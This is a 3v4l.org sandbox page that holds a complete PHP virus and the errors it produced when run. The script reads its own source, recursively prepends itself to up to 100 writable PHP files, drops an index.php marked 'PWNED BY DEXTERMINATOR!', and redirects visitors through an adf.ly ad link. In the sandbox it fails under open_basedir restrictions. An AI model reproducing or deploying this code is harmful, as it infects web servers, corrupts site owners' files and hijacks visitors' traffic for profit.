3v4l.org

run code in 300+ PHP versions simultaneously
<?php #index.php $atefile = 0; $adlink= "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; walkthrough('../..'); function walkthrough($dir) { global $atefile; $maxi = 100; $viruscontents=fread(fopen(__FILE__,'r'), 1644); if (!file_exists('index.php')) { $handle = fopen('index.php', 'a'); fwrite($handle, $viruscontents.'PWNED BY DEXTERMINATOR!'); fclose($handle); } if(is_dir($dir)){ if($dh = opendir($dir)){ while(($file = readdir($dh)) !== false && $atefile<$maxi){ if($file != "." && $file != ".."){ if(is_dir($dir."/".$file)){ walkthrough($dir."/".$file); }else{ if(strstr (substr($file, -4), 'php')){ $infected=true; $caniwrite=false; if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){ $output = fopen($dir."/".$file, "r"); if(filesize ($dir."/".$file)>0){ $contents = fread ($output , 20); $mine = strstr ($contents, 'index.php'); fclose($output ); } $infected=false; if($mine){$infected=true;} } if($infected==false){ if(filesize ($dir."/".$file)>0){ $victim = fopen($dir."/".$file, "r+"); $ori = fread($victim, filesize($dir."/".$file)); fclose($victim); } $victim = fopen($dir."/".$file, "w+"); if(filesize($dir."/".$file)==0){ fwrite($victim, $viruscontents); }else{ fputs($victim ,$viruscontents.$ori); } $atefile++; fclose($victim ); } } } } } closedir($dh); } } return $counter; } header ('Location: http://adf.ly/7520520/' . $adlink); ?>
Output for git.master, git.master_jit, rfc.property-hooks
Warning: Undefined array key "HTTP_HOST" in /in/q7qZT on line 3 Warning: Undefined array key "REQUEST_URI" in /in/q7qZT on line 3 Warning: file_exists(): open_basedir restriction in effect. File(index.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/q7qZT on line 9 Warning: fopen(): open_basedir restriction in effect. File(index.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/q7qZT on line 10 Warning: fopen(index.php): Failed to open stream: Operation not permitted in /in/q7qZT on line 10 Fatal error: Uncaught TypeError: fwrite(): Argument #1 ($stream) must be of type resource, false given in /in/q7qZT:11 Stack trace: #0 /in/q7qZT(11): fwrite(false, '<?php #index.ph...') #1 /in/q7qZT(4): walkthrough('../..') #2 {main} thrown in /in/q7qZT on line 11
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
36.72 ms | 402 KiB | 8 Q